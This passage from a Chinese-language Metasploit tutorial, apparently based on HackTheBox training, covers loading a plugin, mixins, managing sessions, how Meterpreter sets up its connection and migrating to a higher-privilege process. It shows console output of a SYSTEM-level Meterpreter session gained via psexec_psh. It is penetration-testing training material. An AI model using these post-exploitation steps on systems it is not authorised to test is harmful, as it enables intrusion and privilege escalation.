event_tester.rb nessus.rb session_tagger.rb wmap.rb
ffautoregen.rb nexpose.rb socket_logger.rb
growl.rb openvas.rb sounds.rb
这里我们以pentest.rb插件为例,我们复制一份到/usr/share/metasploit-framework/plugins目录中,命令如下:
user@htb$ sudo cp ./Metasploit-Plugins/pentest.rb /usr/share/metasploit-framework/plugins/pentest.rb
然后,我们在msf中使用load 命令加载这个插件,检查这个插件是否安装正确,命令如下:
msf6 > load pentest
<SKIP>
[*] Successfully loaded plugin: pentest
如果没有报错,那么我们就成功安装了这个插件,然后就可以直接使用了,我们可以通过help命令查看帮助信息
Mixins
我们知道metasploit-framework是ruby语言编写的,ruby语言是一个面向对象的编程语言,mixins是一个类,我们可以直接通过这个类来使用框架提供的方法,mixins的使用场景如下:
- 当我们想要为一个类设置许多功能时使用
- 当我们想要为多个类使用同一个功能时使用
msf sessions
msf能同时处理多个模块,这使得msf操作更加的灵活方便,这个实现是通过sessions实现的,sessions可以理解为多个工作桌面,我们创建一个session,在上面进行工作,同时还可以在开启多个session进行多种不同的工作,下面我们来讲解下session相关的知识
使用sessions
在msf中,我们在当前sessions里处理完一个任务,在我们需要在处理另一任务的时候,我们可以不退出当前的任务,通过输入background或者快捷键[CTRL] + [Z]将当前的任务放入后台,然后在创建一个新的sessions来执行其他任务
列出当前激活的session
msf6 exploit(windows/smb/psexec_psh) > sessions
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
1 meterpreter x86/windows NT AUTHORITY\SYSTEM @ MS01 10.10.10.129:443 -> 10.10.10.205:50501 (10.10.10.205)
选择一个sesssion
我们通过使用session -i [no.]
命令来选择一个session,如下:
msf6 exploit(windows/smb/psexec_psh) > sessions -i 1
[*] Starting interaction with 1...
meterpreter >
Tips:在渗透测试时,通常我们先利用存在漏洞的程序获取到目标的shell,如果当前的shell权限较低时,我们需要提权的情况下,我们常常会创建一个session来进行权限的提升
Meterpreter
meterpreter是msf的一个shell,当攻击成功时,提供给攻击者来与目标进行交互的一个工具
当攻击完成时,发生了的事件,如下:
- 初始化一个传输器来与目标建立连接
- 传输器加载Reflective为前缀的DLL,然后处理器加载并注入这个DLL
- meterpreter初始化,然后通过socket建立一个AES-encrypted加密的连接,然后发送GET请求到metasploit,metasploit接受GET请求并配置客户端
- 最后,meterpreter通过AES加密方式加载所有功能
我们可以输入help命令,查看meterpreter的帮助说明
meterpreter migration
migrate命令的使用,是当我们在攻击成功后,当前的进程权限比较低时,我们在当前的shell中不能执行一些命令时,我们就要进行进程迁移,迁移到一个权限比较高的进程上,这样我们就能执行我们输入的指令了,一般在当前shell中如果指令不能成功执行,多数原因就是因为当前的权限比较低,我们就要进行权限提升
至此,有关msfconsole的基础知识以讲解完毕,有关更加高级的功能我会在进阶篇中进行讲解